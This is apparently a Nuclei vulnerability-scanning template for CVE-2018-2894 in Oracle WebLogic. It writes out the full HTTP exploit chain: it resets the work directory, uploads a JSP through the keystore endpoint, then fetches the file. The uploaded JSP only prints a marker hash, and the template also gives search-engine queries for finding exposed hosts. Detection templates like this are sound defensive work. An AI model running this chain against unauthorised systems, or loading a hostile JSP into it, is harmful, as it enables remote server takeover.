Oracle WebLogic Server - Remote Code Execution

id: CVE-2018-2894

info:
  name: Oracle WebLogic Server - Remote Code Execution
  author: geeknik,pdteam
  severity: critical
  description: |
    The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: WLS - Web Services) is susceptible to a remote code execution vulnerability that is easily exploitable and could allow unauthenticated attackers with network access via HTTP to compromise the server. Supported versions that are affected are 12.1.3.0, 12.2.1.2 and 12.2.1.3.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches provided by Oracle to mitigate this vulnerability.
  reference:
    - https://blog.detectify.com/2018/11/14/technical-explanation-of-cve-2018-2894-oracle-weblogic-rce/
    - https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2018-2894
    - https://nvd.nist.gov/vuln/detail/CVE-2018-2894
    - http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
    - http://www.securitytracker.com/id/1041301
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-2894
    epss-score: 0.50224
    epss-percentile: 0.98916
    cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: oracle
    product: weblogic_server
    shodan-query:
      - http.title:"oracle peoplesoft sign-in"
      - product:"oracle weblogic"
    fofa-query: title="oracle peoplesoft sign-in"
    google-query: intitle:"oracle peoplesoft sign-in"
  tags: cve2018,cve,oracle,weblogic,rce,vulhub,intrusive,vkev,vuln

http:
  - raw:
      - |
        POST /ws_utc/resources/setting/options HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        setting_id=general&BasicConfigOptions.workDir=%2Fu01%2Foracle%2Fuser_projects%2Fdomains%2Fbase_domain%2Fservers%2FAdminServer%2Ftmp%2F_WL_internal%2Fcom.oracle.webservices.wls.ws-testclient-app-wls%2F4mcj4y%2Fwar%2Fcss&BasicConfigOptions.proxyHost=&BasicConfigOptions.proxyPort=80
      - |
        POST /ws_utc/resources/setting/keystore HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuim0dyiDSPBPu31g

        ------WebKitFormBoundaryuim0dyiDSPBPu31g
        Content-Disposition: form-data; name="ks_name"

        {{randstr}}
        ------WebKitFormBoundaryuim0dyiDSPBPu31g
        Content-Disposition: form-data; name="ks_edit_mode"

        false
        ------WebKitFormBoundaryuim0dyiDSPBPu31g
        Content-Disposition: form-data; name="ks_password_front"


        ------WebKitFormBoundaryuim0dyiDSPBPu31g
        Content-Disposition: form-data; name="ks_password"


        ------WebKitFormBoundaryuim0dyiDSPBPu31g
        Content-Disposition: form-data; name="ks_password_changed"

        false
        ------WebKitFormBoundaryuim0dyiDSPBPu31g
        Content-Disposition: form-data; name="ks_filename"; filename="{{randstr}}.jsp"
        Content-Type: application/octet-stream

        <%@ page import="java.util.*,java.io.*"%>
        <%@ page import="java.security.MessageDigest"%>

        <%
        String cve = "CVE-2018-2894";
        MessageDigest alg = MessageDigest.getInstance("MD5");
        alg.reset();
        alg.update(cve.getBytes());
        byte[] digest = alg.digest();
        StringBuffer hashedpasswd = new StringBuffer();
        String hx;
        for (int i=0;i<digest.length;i++){
          hx =  Integer.toHexString(0xFF & digest[i]);
          //0x03 is equal to 0x3, but we need 0x03 for our md5sum
          if(hx.length() == 1){hx = "0" + hx;}
          hashedpasswd.append(hx);
        }

        out.println(hashedpasswd.toString());
        %>
        ------WebKitFormBoundaryuim0dyiDSPBPu31g--
      - |
        GET /ws_utc/css/config/keystore/{{id}}_{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - 26ec00a3a03f6bfc5226fd121567bb58

    extractors:
      - type: regex
        name: id
        group: 1
        regex:
          - <keyStoreItem><id>([0-9]+)</id><name>{{randstr}}
        internal: true